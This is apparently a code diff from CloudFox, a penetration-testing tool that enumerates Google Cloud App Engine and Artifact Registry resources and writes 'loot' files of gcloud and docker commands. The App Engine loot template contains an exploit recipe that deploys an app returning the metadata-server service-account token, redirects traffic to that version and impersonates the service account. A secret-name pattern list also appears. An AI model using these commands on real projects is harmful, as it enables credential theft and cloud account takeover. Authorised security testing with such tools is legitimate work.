fmt.Sprintf("Could not enumerate App Engine versions for service %s", serviceID))
return
}
for _, ver := range versions.Versions {
versionRecord := AppEngineVersion{
ProjectID: projectID,
ServiceID: serviceID,
ID: ver.Id,
AppID: projectID,
Runtime: ver.Runtime,
Environment: ver.Env,
ServingStatus: ver.ServingStatus,
CreateTime: ver.CreateTime,
IngressSettings: ingressSettings,
ServiceAccount: ver.ServiceAccount,
URL: ver.VersionUrl,
}
if ver.InstanceClass != "" {
versionRecord.InstanceClass = ver.InstanceClass
}
if ver.Network != nil {
versionRecord.Network = ver.Network.Name
}
if ver.VpcAccessConnector != nil {
versionRecord.VPCConnector = ver.VpcAccessConnector.Name
}
// Scaling type
if ver.AutomaticScaling != nil {
versionRecord.Scaling = "automatic"
} else if ver.BasicScaling != nil {
versionRecord.Scaling = "basic"
} else if ver.ManualScaling != nil {
versionRecord.Scaling = "manual"
}
// Check for deprecated runtime
versionRecord.DeprecatedRuntime = m.isDeprecatedRuntime(ver.Runtime)
// Check environment variables for secrets
if ver.EnvVariables != nil {
versionRecord.EnvVarCount = len(ver.EnvVariables)
secretCount := m.analyzeEnvVars(ver.EnvVariables, serviceID, ver.Id, projectID)
versionRecord.SecretEnvVars = secretCount
}
// Check ingress settings for public access
if versionRecord.IngressSettings == "all" || versionRecord.IngressSettings == "INGRESS_TRAFFIC_ALLOWED_ALL" {
versionRecord.Public = true
m.mu.Lock()
m.publicCount++
m.mu.Unlock()
}
// Check for default service account
if versionRecord.ServiceAccount == "" || strings.Contains(versionRecord.ServiceAccount, "@appspot.gserviceaccount.com") {
versionRecord.DefaultSA = true
}
m.mu.Lock()
m.ProjectVersions[projectID] = append(m.ProjectVersions[projectID], versionRecord)
m.mu.Unlock()
}
}
func (m *AppEngineModule) enumerateFirewallRules(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
rules, err := aeService.Apps.Firewall.IngressRules.List(projectID).Do()
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not enumerate App Engine firewall rules in project %s", projectID))
return
}
for _, rule := range rules.IngressRules {
fwRule := AppEngineFirewallRule{
ProjectID: projectID,
Priority: rule.Priority,
Action: rule.Action,
SourceRange: rule.SourceRange,
Description: rule.Description,
}
m.mu.Lock()
m.ProjectFirewallRules[projectID] = append(m.ProjectFirewallRules[projectID], fwRule)
m.mu.Unlock()
}
m.mu.Lock()
for i := range m.ProjectApps[projectID] {
if m.ProjectApps[projectID][i].ProjectID == projectID {
m.ProjectApps[projectID][i].FirewallRules = len(rules.IngressRules)
break
}
}
m.mu.Unlock()
}
func (m *AppEngineModule) addAppToLoot(projectID, appID, defaultHostname, locationID, serviceAccount string) {
lootFile := m.LootMap[projectID]["appengine-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# APP ENGINE: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# Default Hostname: %s\n"+
"# Service Account: %s\n",
appID, projectID, locationID, defaultHostname, serviceAccount,
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe app:
gcloud app describe --project=%s
# List services:
gcloud app services list --project=%s
# List versions for all services:
gcloud app versions list --project=%s
# List firewall rules:
gcloud app firewall-rules list --project=%s
# Describe specific service:
gcloud app services describe default --project=%s
# View application logs:
gcloud app logs read --project=%s --limit=50
# List dispatch rules:
gcloud app describe --project=%s --format=json | jq '.dispatchRules'
# === EXPLOIT COMMANDS ===
# Deploy a new version (code execution as App Engine SA: %s):
# Create a minimal app.yaml:
cat > /tmp/app.yaml << 'APPEOF'
runtime: python39
instance_class: F1
handlers:
- url: /.*
script: auto
APPEOF
cat > /tmp/main.py << 'MAINEOF'
import requests, json
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
r = requests.get('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'})
return json.dumps(r.json())
MAINEOF
gcloud app deploy /tmp/app.yaml --project=%s --quiet --no-promote
# Deploy to a specific service:
gcloud app deploy /tmp/app.yaml --project=%s --service=cloudfox-test --quiet --no-promote
# Set traffic to new malicious version:
gcloud app services set-traffic default --splits=VERSION_ID=1 --project=%s
# SSH to App Engine Flex instance (only for flex environment):
gcloud app instances ssh INSTANCE_ID --service=SERVICE --version=VERSION --project=%s
# Access default URL:
curl https://%s
# Impersonate App Engine default service account:
gcloud auth print-access-token --impersonate-service-account=%s
`,
projectID, projectID, projectID, projectID, projectID, projectID, projectID,
serviceAccount,
projectID, projectID, projectID, projectID,
defaultHostname, serviceAccount,
)
}
func (m *AppEngineModule) analyzeEnvVars(envVars map[string]string, serviceID, versionID, projectID string) int {
secretPatterns := []string{
"PASSWORD", "SECRET", "API_KEY", "TOKEN", "PRIVATE_KEY",
"DATABASE_URL", "DB_PASSWORD", "MYSQL_PASSWORD", "POSTGRES_PASSWORD",
"MONGODB_URI", "AWS_SECRET", "ENCRYPTION_KEY", "JWT_SECRET", "SESSION_SECRET",
}
secretCount := 0
for name := range envVars {
nameUpper := strings.ToUpper(name)
for _, pattern := range secretPatterns {
if strings.Contains(nameUpper, pattern) {
secretCount++
m.mu.Lock()
m.secretsFound++
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# Potential secret in env var: %s (service: %s, version: %s)\n"+
"# Recommendation: Migrate to Secret Manager\n"+
"gcloud app versions describe %s --service=%s --project=%s\n\n",
name, serviceID, versionID,
versionID, serviceID, projectID,
)
}
m.mu.Unlock()
break
}
}
}
return secretCount
}
func (m *AppEngineModule) isDeprecatedRuntime(runtime string) bool {
deprecatedRuntimes := []string{
"python27", "go111", "go112", "go113", "java8", "java11",
"nodejs10", "nodejs12", "php55", "php72", "ruby25",
}
for _, deprecated := range deprecatedRuntimes {
if runtime == deprecated {
return true
}
}
return false
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *AppEngineModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getAllVersions returns all versions from all projects
func (m *AppEngineModule) getAllVersions() []AppEngineVersion {
var all []AppEngineVersion
for _, versions := range m.ProjectVersions {
all = append(all, versions...)
}
return all
}
// getAllApps returns all apps from all projects
func (m *AppEngineModule) getAllApps() []AppEngineApp {
var all []AppEngineApp
for _, apps := range m.ProjectApps {
all = append(all, apps...)
}
return all
}
// getAllFirewallRules returns all firewall rules from all projects
func (m *AppEngineModule) getAllFirewallRules() []AppEngineFirewallRule {
var all []AppEngineFirewallRule
for _, rules := range m.ProjectFirewallRules {
all = append(all, rules...)
}
return all
}
// getTableHeader returns the main appengine table header
func (m *AppEngineModule) getTableHeader() []string {
return []string{
"Project ID",
"Project Name",
"App ID",
"Location",
"Status",
"Hostname",
"Service",
"Version",
"Runtime",
"Environment",
"Ingress",
"Public",
"Service Account",
"SA Attack Paths",
"Default SA",
"Deprecated",
"Env Vars",
"Secrets",
"VPC Connector",
"URL",
}
}
// buildTablesForProject builds tables for given project data
func (m *AppEngineModule) buildTablesForProject(projectID string, apps []AppEngineApp, versions []AppEngineVersion, firewallRules []AppEngineFirewallRule) []internal.TableFile {
var tables []internal.TableFile
header := m.getTableHeader()
var body [][]string
if len(versions) > 0 {
for _, ver := range versions {
var app AppEngineApp
for _, a := range apps {
if a.ProjectID == ver.ProjectID {
app = a
break
}
}
publicStr := "No"
if ver.Public {
publicStr = "Yes"
}
defaultSAStr := "No"
if ver.DefaultSA {
defaultSAStr = "Yes"
}
deprecatedStr := "No"
if ver.DeprecatedRuntime {
deprecatedStr = "Yes"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if ver.ServiceAccount != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, ver.ServiceAccount)
} else {
attackPaths = "No"
}
}
body = append(body, []string{
ver.ProjectID,
m.GetProjectName(ver.ProjectID),
app.ID,
app.LocationID,
app.ServingStatus,
app.DefaultHostname,
ver.ServiceID,
ver.ID,
ver.Runtime,
ver.Environment,
ver.IngressSettings,
publicStr,
ver.ServiceAccount,
attackPaths,
defaultSAStr,
deprecatedStr,
fmt.Sprintf("%d", ver.EnvVarCount),
fmt.Sprintf("%d", ver.SecretEnvVars),
ver.VPCConnector,
ver.URL,
})
// Add public services to loot
if ver.Public && m.LootMap[projectID] != nil {
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# Public App Engine service: %s/%s\n"+
"curl %s\n\n",
ver.ServiceID, ver.ID, ver.URL,
)
}
}
}
} else {
for _, app := range apps {
body = append(body, []string{
app.ProjectID,
m.GetProjectName(app.ProjectID),
app.ID,
app.LocationID,
app.ServingStatus,
app.DefaultHostname,
"No services deployed", // Service
"-", // Version
"-", // Runtime
"-", // Environment
"-", // Ingress
"-", // Public
app.ServiceAccount, // Service Account
"-", // SA Attack Paths
"-", // Default SA
"-", // Deprecated
"-", // Env Vars
"-", // Secrets
"-", // VPC Connector
"-", // URL
})
}
}
tables = append(tables, internal.TableFile{
Name: "appengine",
Header: header,
Body: body,
})
// Firewall rules table
if len(firewallRules) > 0 {
var fwBody [][]string
for _, rule := range firewallRules {
fwBody = append(fwBody, []string{
rule.ProjectID,
m.GetProjectName(rule.ProjectID),
fmt.Sprintf("%d", rule.Priority),
rule.Action,
rule.SourceRange,
rule.Description,
})
}
tables = append(tables, internal.TableFile{
Name: "appengine-firewall",
Header: []string{
"Project ID",
"Project Name",
"Priority",
"Action",
"Source Range",
"Description",
},
Body: fwBody,
})
}
return tables
}
// writeHierarchicalOutput writes output to per-project directories
func (m *AppEngineModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectApps {
projectsWithData[projectID] = true
}
for projectID := range projectsWithData {
apps := m.ProjectApps[projectID]
versions := m.ProjectVersions[projectID]
firewallRules := m.ProjectFirewallRules[projectID]
tables := m.buildTablesForProject(projectID, apps, versions, firewallRules)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = AppEngineOutput{Table: tables, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_APPENGINE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *AppEngineModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allApps := m.getAllApps()
allVersions := m.getAllVersions()
allFirewallRules := m.getAllFirewallRules()
// Use empty projectID since we're building for all projects
tables := m.buildTablesForProject("", allApps, allVersions, allFirewallRules)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AppEngineOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, projectID := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(projectID)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_APPENGINE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+552 -136
View File
@@ -1,10 +1,14 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
artifactregistry "cloud.google.com/go/artifactregistry/apiv1"
ArtifactRegistryService "github.com/BishopFox/cloudfox/gcp/services/artifactRegistryService"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/spf13/cobra"
@@ -12,161 +16,573 @@ import (
var GCPArtifactRegistryCommand = &cobra.Command{
Use: globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
Aliases: []string{},
Short: "Display GCP artifact registry information",
Args: cobra.MinimumNArgs(0),
Long: `
Display available artifact registry resource information:
cloudfox gcp artfact-registry`,
Aliases: []string{"ar", "artifacts", "gcr"},
Short: "Enumerate GCP Artifact Registry and Container Registry with security configuration",
Long: `Enumerate GCP Artifact Registry and legacy Container Registry (gcr.io) with security-relevant details.
Features:
- Lists all Artifact Registry repositories with security configuration
- Shows Docker images and package artifacts with tags and digests
- Enumerates IAM policies per repository and identifies public repositories
- Shows encryption type (Google-managed vs CMEK)
- Shows repository mode (standard, virtual, remote)
- Generates gcloud commands for artifact enumeration
- Generates exploitation commands for artifact access
- Enumerates legacy Container Registry (gcr.io) locations
Security Columns:
- Public: Whether the repository has allUsers or allAuthenticatedUsers access
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)
- Mode: STANDARD_REPOSITORY, VIRTUAL_REPOSITORY, or REMOTE_REPOSITORY
- RegistryType: "artifact-registry" or "container-registry" (legacy gcr.io)`,
Run: runGCPArtifactRegistryCommand,
}
// Code needed to output fields from buckets results using generic HandleOutput function
// ------------------------------
// Module Struct with embedded BaseGCPModule
// ------------------------------
type ArtifactRegistryModule struct {
gcpinternal.BaseGCPModule
// Results struct that implements the internal.OutputInterface
type GCPArtifactRegistryResults struct {
ArtifactData []ArtifactRegistryService.ArtifactInfo
RepositoryData []ArtifactRegistryService.RepositoryInfo
// Module-specific fields
ProjectArtifacts map[string][]ArtifactRegistryService.ArtifactInfo // projectID -> artifacts
ProjectRepositories map[string][]ArtifactRegistryService.RepositoryInfo // projectID -> repos
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
client *artifactregistry.Client
mu sync.Mutex
}
// Decide what format the name, header and body of the CSV & JSON files will be
func (g GCPArtifactRegistryResults) TableFiles() []internal.TableFile {
var tableFiles []internal.TableFile
repoHeader := []string{
"Name",
"Format",
"Description",
"Size",
"Location",
"ProjectID",
}
var repoBody [][]string
for _, value := range g.RepositoryData {
repoBody = append(
repoBody,
[]string{
value.Name,
value.Format,
value.Description,
value.SizeBytes,
value.Location,
value.ProjectID,
},
)
}
repoTableFile := internal.TableFile{
Header: repoHeader,
Body: repoBody,
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
}
tableFiles = append(tableFiles, repoTableFile)
artifactHeader := []string{
"Name",
"Format",
"Version",
"Location",
"Repository",
"Size",
"Updated",
"ProjectID",
}
var artifactBody [][]string
for _, value := range g.ArtifactData {
artifactBody = append(
artifactBody,
[]string{
value.Name,
value.Format,
value.Version,
value.Location,
value.Repository,
value.SizeBytes,
value.Updated,
value.ProjectID,
},
)
}
artifactTableFile := internal.TableFile{
Header: artifactHeader,
Body: artifactBody,
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
}
tableFiles = append(tableFiles, artifactTableFile)
return tableFiles
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// ------------------------------
type ArtifactRegistryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
// Decide what is loot based on resource information
func (g GCPArtifactRegistryResults) LootFiles() []internal.LootFile {
// TODO consider a loot file of the URLs to the all docker image artifacts. Maybe sample commands to pull the images
return []internal.LootFile{}
}
func (o ArtifactRegistryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o ArtifactRegistryOutput) LootFiles() []internal.LootFile { return o.Loot }
// Houses high-level logic that retrieves resources and writes to output
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPArtifactRegistryCommand(cmd *cobra.Command, args []string) {
// Retrieve projectIDs from parent (gcp command) ctx
var projectIDs []string
var account string
parentCmd := cmd.Parent()
ctx := cmd.Context()
logger := internal.NewLogger()
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
projectIDs = value
} else {
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
if value, ok := ctx.Value("account").(string); ok {
account = value
} else {
logger.ErrorM("Could not retrieve account email from command", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
client, err := artifactregistry.NewClient(ctx)
// Initialize command context
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
if err != nil {
logger.ErrorM(fmt.Sprintf("failed to create secret manager client: %v", err), globals.GCP_SECRETS_MODULE_NAME)
return // Error already logged
}
// Create Artifact Registry client
client, err := artifactregistry.NewClient(cmdCtx.Ctx)
if err != nil {
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Artifact Registry client: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
}
defer client.Close()
// Get the artifact repositories and artifacts using the projectIDs and ArtifactRegistryService
ars := ArtifactRegistryService.New(client)
var artifactResults []ArtifactRegistryService.ArtifactInfo
var repoRestuls []ArtifactRegistryService.RepositoryInfo
// Create module instance
module := &ArtifactRegistryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectArtifacts: make(map[string][]ArtifactRegistryService.ArtifactInfo),
ProjectRepositories: make(map[string][]ArtifactRegistryService.RepositoryInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
client: client,
}
// Set output params leveraging parent (gcp) pflag values
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
format, _ := parentCmd.PersistentFlags().GetString("output")
for _, projectID := range projectIDs {
logger.InfoM(fmt.Sprintf("Retrieving all artifact repositories and supported artifacts in all locations from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
result, err := ars.RepositoriesAndArtifacts(projectID)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
// Execute enumeration
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *ArtifactRegistryModule) Execute(ctx context.Context, logger internal.Logger) {
// Run enumeration with concurrency
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, m.processProject)
allRepos := m.getAllRepositories()
allArtifacts := m.getAllArtifacts()
// Check results
if len(allRepos) == 0 && len(allArtifacts) == 0 {
logger.InfoM("No artifact registries found", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d repository(ies) with %d artifact(s)", len(allRepos), len(allArtifacts)), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
// Write output
m.writeOutput(ctx, logger)
}
// getAllRepositories returns all repositories from all projects
func (m *ArtifactRegistryModule) getAllRepositories() []ArtifactRegistryService.RepositoryInfo {
var all []ArtifactRegistryService.RepositoryInfo
for _, repos := range m.ProjectRepositories {
all = append(all, repos...)
}
return all
}
// getAllArtifacts returns all artifacts from all projects
func (m *ArtifactRegistryModule) getAllArtifacts() []ArtifactRegistryService.ArtifactInfo {
var all []ArtifactRegistryService.ArtifactInfo
for _, artifacts := range m.ProjectArtifacts {
all = append(all, artifacts...)
}
return all
}
// ------------------------------
// Project Processor (called concurrently for each project)
// ------------------------------
func (m *ArtifactRegistryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating artifact registries in project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
// Create service and fetch data
ars := ArtifactRegistryService.New(m.client)
result, err := ars.RepositoriesAndArtifacts(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
fmt.Sprintf("Could not enumerate artifact registries in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectRepositories[projectID] = result.Repositories
m.ProjectArtifacts[projectID] = result.Artifacts
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["artifact-registry-commands"] = &internal.LootFile{
Name: "artifact-registry-commands",
Contents: "# GCP Artifact Registry Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
artifactResults = append(artifactResults, result.Artifacts...)
repoRestuls = append(repoRestuls, result.Repositories...)
logger.InfoM(fmt.Sprintf("Done retrieving artifact repository resource data from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
cloudfoxOutput := GCPArtifactRegistryResults{ArtifactData: artifactResults, RepositoryData: repoRestuls}
// Generate loot for each repository and artifact
for _, repo := range result.Repositories {
m.addRepositoryToLoot(projectID, repo)
}
for _, artifact := range result.Artifacts {
m.addArtifactToLoot(projectID, artifact)
}
m.mu.Unlock()
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, account, projectID, cloudfoxOutput)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d repository(ies) and %d artifact(s) in project %s", len(result.Repositories), len(result.Artifacts), projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *ArtifactRegistryModule) addRepositoryToLoot(projectID string, repo ArtifactRegistryService.RepositoryInfo) {
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
if lootFile == nil {
return
}
// Extract repo name from full path
repoName := repo.Name
parts := strings.Split(repo.Name, "/")
if len(parts) > 0 {
repoName = parts[len(parts)-1]
}
// Handle legacy Container Registry differently
if repo.RegistryType == "container-registry" {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# LEGACY CONTAINER REGISTRY: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Note: Consider migrating to Artifact Registry\n"+
"# Configure Docker authentication:\n"+
"gcloud auth configure-docker %s\n"+
"# List images:\n"+
"gcloud container images list --repository=%s/%s\n"+
"# Check for public access (via storage bucket):\n"+
"gsutil iam get gs://artifacts.%s.appspot.com\n\n",
repo.Name, repo.ProjectID,
strings.Split(repo.Name, "/")[0], // gcr.io hostname
strings.Split(repo.Name, "/")[0], repo.ProjectID,
repo.ProjectID,
)
return
}
// Repository header and enumeration commands
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# REPOSITORY: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Location: %s\n"+
"# Format: %s, Mode: %s, Encryption: %s, Public: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe repository:\n"+
"gcloud artifacts repositories describe %s --project=%s --location=%s\n"+
"# Get IAM policy:\n"+
"gcloud artifacts repositories get-iam-policy %s --project=%s --location=%s\n",
repoName, repo.ProjectID, repo.Location,
repo.Format, repo.Mode, repo.EncryptionType, repo.PublicAccess,
repoName, repo.ProjectID, repo.Location,
repoName, repo.ProjectID, repo.Location,
)
// Docker-specific commands
if repo.Format == "DOCKER" {
lootFile.Contents += fmt.Sprintf(
"# Configure Docker authentication:\n"+
"gcloud auth configure-docker %s-docker.pkg.dev\n"+
"# List images:\n"+
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s\n"+
"# List vulnerabilities:\n"+
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s --show-occurrences --occurrence-filter=\"kind=VULNERABILITY\"\n",
repo.Location,
repo.Location, repo.ProjectID, repoName,
repo.Location, repo.ProjectID, repoName,
)
}
lootFile.Contents += "\n"
}
func (m *ArtifactRegistryModule) addArtifactToLoot(projectID string, artifact ArtifactRegistryService.ArtifactInfo) {
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
if lootFile == nil {
return
}
// Exploitation commands for Docker images
if artifact.Format == "DOCKER" {
imageBase := fmt.Sprintf("%s-docker.pkg.dev/%s/%s/%s",
artifact.Location, artifact.ProjectID, artifact.Repository, artifact.Name)
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# DOCKER IMAGE: %s\n"+
"# -----------------------------------------------------------------------------\n"+
"# Project: %s, Repository: %s, Location: %s\n"+
"# Digest: %s\n",
artifact.Name,
artifact.ProjectID,
artifact.Repository, artifact.Location,
artifact.Digest,
)
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
// Generate commands for each tag
if len(artifact.Tags) > 0 {
for _, tag := range artifact.Tags {
lootFile.Contents += fmt.Sprintf(
"# Tag: %s\n"+
"docker pull %s:%s\n"+
"docker inspect %s:%s\n"+
"docker run -it --entrypoint /bin/sh %s:%s\n\n",
tag,
imageBase, tag,
imageBase, tag,
imageBase, tag,
)
}
} else {
// No tags, use digest
lootFile.Contents += fmt.Sprintf(
"# No tags - use digest\n"+
"docker pull %s@%s\n"+
"docker inspect %s@%s\n"+
"docker run -it --entrypoint /bin/sh %s@%s\n\n",
imageBase, artifact.Digest,
imageBase, artifact.Digest,
imageBase, artifact.Digest,
)
}
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *ArtifactRegistryModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Count public repos for finding message
publicCount := 0
for _, repos := range m.ProjectRepositories {
for _, repo := range repos {
if repo.IsPublic {
publicCount++
}
}
}
if publicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible repository(ies)!", publicCount), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getRepoHeader returns the header for repository table
func (m *ArtifactRegistryModule) getRepoHeader() []string {
return []string{
"Project",
"Name",
"Format",
"Location",
"Mode",
"Public",
"Encryption",
"IAM Binding Role",
"Principal Type",
"IAM Binding Principal",
}
}
// getArtifactHeader returns the header for artifact table
func (m *ArtifactRegistryModule) getArtifactHeader() []string {
return []string{
"Project",
"Name",
"Repository",
"Location",
"Tags",
"Digest",
"Size",
"Uploaded",
}
}
// reposToTableBody converts repositories to table body rows
func (m *ArtifactRegistryModule) reposToTableBody(repos []ArtifactRegistryService.RepositoryInfo) [][]string {
var body [][]string
for _, repo := range repos {
// Extract repo name from full path
repoName := repo.Name
parts := strings.Split(repo.Name, "/")
if len(parts) > 0 {
repoName = parts[len(parts)-1]
}
// Format public access display
publicDisplay := ""
if repo.IsPublic {
publicDisplay = repo.PublicAccess
}
// Shorten mode for display
mode := repo.Mode
mode = strings.TrimPrefix(mode, "REPOSITORY_MODE_")
mode = strings.TrimSuffix(mode, "_REPOSITORY")
// One row per IAM member
if len(repo.IAMBindings) > 0 {
for _, binding := range repo.IAMBindings {
for _, member := range binding.Members {
memberType := ArtifactRegistryService.GetMemberType(member)
body = append(body, []string{
m.GetProjectName(repo.ProjectID),
repoName,
repo.Format,
repo.Location,
mode,
publicDisplay,
repo.EncryptionType,
binding.Role,
memberType,
member,
})
}
}
} else {
// Repository with no IAM bindings
body = append(body, []string{
m.GetProjectName(repo.ProjectID),
repoName,
repo.Format,
repo.Location,
mode,
publicDisplay,
repo.EncryptionType,
"-",
"-",
"-",
})
}
}
return body
}
// artifactsToTableBody converts artifacts to table body rows
func (m *ArtifactRegistryModule) artifactsToTableBody(artifacts []ArtifactRegistryService.ArtifactInfo) [][]string {
var body [][]string
for _, artifact := range artifacts {
// Format tags
tags := "-"
if len(artifact.Tags) > 0 {
if len(artifact.Tags) <= 3 {
tags = strings.Join(artifact.Tags, ", ")
} else {
tags = fmt.Sprintf("%s (+%d more)", strings.Join(artifact.Tags[:3], ", "), len(artifact.Tags)-3)
}
}
body = append(body, []string{
m.GetProjectName(artifact.ProjectID),
artifact.Name,
artifact.Repository,
artifact.Location,
tags,
artifact.Digest,
artifact.SizeBytes,
artifact.Uploaded,
})
}
return body
}
// buildTablesForProject builds table files for a project
func (m *ArtifactRegistryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if repos, ok := m.ProjectRepositories[projectID]; ok && len(repos) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getRepoHeader(),
Body: m.reposToTableBody(repos),
})
}
